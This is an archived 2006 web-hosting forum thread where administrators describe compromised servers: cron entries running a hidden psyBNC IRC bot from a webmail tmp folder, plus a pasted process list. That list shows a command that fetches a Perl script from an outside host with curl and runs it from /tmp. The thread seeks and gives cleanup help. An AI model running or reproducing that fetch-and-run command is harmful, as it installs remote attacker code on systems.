PDA

View Full Version : Server hacked by bot?


nhwebgroup
11-06-2006, 06:15 AM
I belive my server was hijacked by and IRC bot...

lots of CRON messages like this:

Nov 6 09:09:00 web1 /usr/sbin/cron[21215]: (apache) CMD (/var/www/html/webmail/tmp/.psy/y2kupdate >/dev/null 2>&1)
Nov 6 09:10:00 web1 /usr/sbin/cron[21260]: (root) CMD (/usr/local/directadmin/dataskq)
Nov 6 09:10:00 web1 /usr/sbin/cron[21261]: (root) CMD (/usr/libexec/atrun)
Nov 6 09:10:00 web1 /usr/sbin/cron[21262]: (apache) CMD (/var/www/html/webmail/tmp/.psy/y2kupdate >/dev/null 2>&1)
Nov 6 09:11:00 web1 /usr/sbin/cron[21288]: (root) CMD (/usr/local/directadmin/dataskq)
Nov 6 09:11:00 web1 /usr/sbin/cron[21289]: (operator) CMD (/usr/libexec/save-entropy)
Nov 6 09:11:00 web1 /usr/sbin/cron[21290]: (apache) CMD (/var/www/html/webmail/tmp/.psy/y2kupdate >/dev/null 2>&1)


When i "locate .psy" there are MANY places on the server where this folder shows up

Also i ran the "check root kit" and it told me that bind was compromized on prot 5190..

have you seen this? what tod to fix?

Tim
pucky
11-06-2006, 10:05 AM
Your Freebsd box has had psybnc installed and you need to clean shop. It was probably installed via an insecure script running in a users webspace or one of your users has installed it. While the box is not rooted you should really get this cleaned out. You may want to check the /tmp directory to make sure its not installed there. And you will probably want to search for all hidden directories as many times its installed into a hidden directory on the box.

But the best course of action is to make sure the box is secured to start with.
nhwebgroup
11-06-2006, 04:54 PM
what is psybnc?
how do i get rid of it?
pucky
11-06-2006, 06:41 PM
Originally posted by nhwebgroup
what is psybnc?
how do i get rid of it?

Didnt i already send you a PM? You should read it.
nhwebgroup
11-07-2006, 03:52 AM
Originally posted by pucky
Didnt i already send you a PM? You should read it.

I just saw it now.. thanks
sansobar
11-08-2006, 05:39 AM
my box got the same problem too. this is what i found in the processes list,

apache 17186 1.0 0.1 4232 1088 ? S 23:41 0:00 sh -c cd /tmp;curl -O http://foxyfighter.com/.mrnts/x.txt;perl x.txt;
apache 17187 2.0 0.1 4836 1808 ? S 23:41 0:00 curl -O http://foxyfighter.com/.mrnts/x.txt

kindly advise how I can pinpoint which script is causing the backdoor.